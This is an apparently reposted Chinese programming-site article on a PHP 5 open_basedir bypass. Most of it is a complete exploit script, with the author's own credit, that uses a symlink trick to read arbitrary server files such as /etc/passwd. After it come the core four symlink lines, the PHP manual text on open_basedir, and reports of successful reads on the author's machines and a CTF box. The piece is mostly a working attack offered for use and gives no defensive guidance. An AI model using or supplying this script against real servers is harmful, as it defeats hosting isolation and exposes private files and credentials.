程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> PHP綜合 >> PHP5全版本繞過open_basedir讀文件腳本漏洞詳細介紹

PHP5全版本繞過open_basedir讀文件腳本漏洞詳細介紹

編輯:PHP綜合

漏洞很久之前(大概5年前)被提出來了,但並不是php代碼上的問題,所以問題一直存在,直到現在。我一直沒留意,後來yaseng告訴我的,他測試了好像5.5都可以。

漏洞詳情在這裡 http://cxsecurity.com/issue/WLB-2009110068。

給出我寫的EXP:

復制代碼 代碼如下:
<?php
/*
* by phithon
* From http://www.jb51.net
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
  mkdir($paths[$i]);
  chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
  chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
  mkdir($name);
  chdir($name);
  $j++;
}
for ($i = 0; $i <= $j; $i++) {
  chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}

function delfile($deldir){
  if (@is_file($deldir)) {
    @chmod($deldir,0777);
    return @unlink($deldir);
  }else if(@is_dir($deldir)){
    if(($mydir = @opendir($deldir)) == NULL) return false;
    while(false !== ($file = @readdir($mydir)))
    {
      $name = File_Str($deldir.'/'.$file);
      if(($file!='.') && ($file!='..')){delfile($name);}
    }
    @closedir($mydir);
    @chmod($deldir,0777);
    return @rmdir($deldir) ? true : false;
  }
}

function File_Str($string)
{
  return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  $randStr = '';
  for ($i = 0; $i < $length; $i++) {
    $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
  }
  return $randStr;
}

如我們欲讀取/etc/passwd。其實原理就是創建一個鏈接文件x,用相對路徑指向a/a/a/a,再創建一個鏈接文件exp指向x/../../../etc/passwd。

其實指向的就是a/a/a/a/../../../etc/passwd,其實就是./etc/passwd。

這時候刪除x,再創建一個x目錄,但exp還是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。

精華就是這四句:
復制代碼 代碼如下:
symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");

我們訪問http://xxx/exp,如果服務器支持鏈接文件的訪問,那麼就能讀到/etc/passwd。

其中並沒有任何操作觸發open_basedir,但達到的 效果就是繞過了open_basedir讀取任意文件 。

錯誤不在php,但又不知道把錯誤歸結到誰頭上,所以php一直未管這個問題。

open_basedir

將 PHP 所能打開的文件限制在指定的目錄樹,包括文件本身。本指令 不受 安全模式打開或者關閉的影響。

當一個腳本試圖用例如 fopen() 或者 gzopen() 打開一個文件時,該文件的位置將被檢查。當文件在指定的目錄樹之外時 PHP 將拒絕打開它。所有的符號連接都會被解析,所以不可能通過符號連接來避開此限制。

特殊值 . 指明腳本的工作目錄將被作為基准目錄。但這有些危險,因為腳本的工作目錄可以輕易被 chdir() 而改變。

在 httpd.conf 文件中中,open_basedir 可以像其它任何配置選項一樣用“php_admin_value open_basedir none”的 方法 關閉(例如某些虛擬主機中)。

在 Windows 中,用分號分隔目錄。在任何其它系統中用冒號分隔目錄。作為 Apache 模塊時,父目錄中的 open_basedir 路徑自動被繼承。

用 open_basedir 指定的限制實際上是前綴,不是目錄名。也就是說“open_basedir = /dir/incl”也會允許訪問“/dir/include”和“/dir/incls”,如果它們存在的話。如果要將訪問限制在僅為指定的目錄,用斜 線結束路徑名。例如:“open_basedir = /dir/incl/”。

Note:

支持多個目錄是 3.0.7 加入的。

默認是允許打開所有文件。

我在我的VPS(php5.3.28 + nginx)和樹莓派(php 5.4.4 + nginx)上都測試過,成功讀取。

樹莓派測試:

相比於5.3 XML那個洞(那個很多文件讀不了),這個成功率還是比較穩的,很多文件都能讀。而且版本沒要求,危害比較大。

前幾天成信的CTF,試了下這個腳本,apache也可以讀取,當時讀了讀kali機子的/etc/httpd/conf/httpd.conf,沒啥收獲。

發現沒旁站,流量是通過網關轉發的。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved